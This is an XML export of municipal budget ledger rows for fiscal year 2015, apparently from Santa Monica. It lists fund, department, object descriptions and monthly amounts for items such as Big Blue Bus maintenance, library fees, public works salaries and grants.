<row _id="16841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1750.0</total></row>
<row _id="16842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>403660.0</object><object_description>LIBRARY NON-RESIDENT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-139000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-139000.0</total></row>
<row _id="16843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>96064.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96064.0</total></row>
<row _id="16846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>62769.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62769.0</total></row>
<row _id="16847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6486.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6486.0</total></row>
<row _id="16848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>144471.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144471.0</total></row>
<row _id="16849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>191703.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>191703.0</total></row>
<row _id="16850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>434.0</total></row>
<row _id="16851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>38359.0</total></row>
<row _id="16852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5682.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5682.0</total></row>
<row _id="16853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3251.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3251.0</total></row>
<row _id="16854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>124603.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>124603.0</total></row>
<row _id="16855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>334905.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>334905.0</total></row>
<row _id="16856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12579.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12579.0</total></row>
<row _id="16857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6155.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6155.0</total></row>
<row _id="16858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544112.0</object><object_description>SIGNAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>21500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21500.0</total></row>
<row _id="16860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555016.0</object><object_description>OUTSIDE REPAIRS-HZRDOUS WASTE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>83050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>83050.0</total></row>
<row _id="16861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>404150.0</object><object_description>LIBRARY COMPUTER SESSIONS FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-23900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23900.0</total></row>
<row _id="16862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-148400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-148400.0</total></row>
<row _id="16863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>85000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85000.0</total></row>
<row _id="16864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="16866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566190.0</object><object_description>EMPLOYEE EVENTS TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>32086.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32086.0</total></row>
<row _id="16867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2440.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2440.0</total></row>
<row _id="16868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER OUT TO HOUSING FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>453493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>453493.0</total></row>
<row _id="16870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>VENICE FAMILY CLINIC-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3986.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3986.0</total></row>
<row _id="16871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404771.0</object><object_description>BIKE TRANSIT CTR CONCESSION AG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-63900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63900.0</total></row>
<row _id="16872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409180.0</object><object_description>COMMERCIAL INSTRUCTION USE CHA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-63900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63900.0</total></row>
<row _id="16873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>60919.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60919.0</total></row>
<row _id="16874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>563123.0</object><object_description>WISE SENIOR &amp; DISAB SVCS (PALR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>192711.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192711.0</total></row>
<row _id="16875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409140.0</object><object_description>PASSPORT SERV APPLICATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-37000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37000.0</total></row>
<row _id="16876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409160.0</object><object_description>AGENDA PACKET SUBSCRIPTION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-784.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-784.0</total></row>
<row _id="16877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561111.0</object><object_description>CHRYSALIS EMPLYMNT CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="16878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561113.0</object><object_description>OPCC ACCESS CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7400.0</total></row>
<row _id="16879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-YOUTH</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51600.0</total></row>
<row _id="16880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408550.0</object><object_description>NO NET NEW TRIPS TOOLKIT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-264573.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-264573.0</total></row>
<row _id="16881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1220.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1220.0</total></row>
<row _id="16882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1043.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1043.0</total></row>
<row _id="16883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30.0</total></row>
<row _id="16884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>404040.0</object><object_description>SAMOHI SR2S GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-751000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-751000.0</total></row>
<row _id="16885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>23996.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23996.0</total></row>
<row _id="16886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>321395.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>321395.0</total></row>
<row _id="16887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555011.0</object><object_description>CONT SERV/PLANT REPLACE/MIS SE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
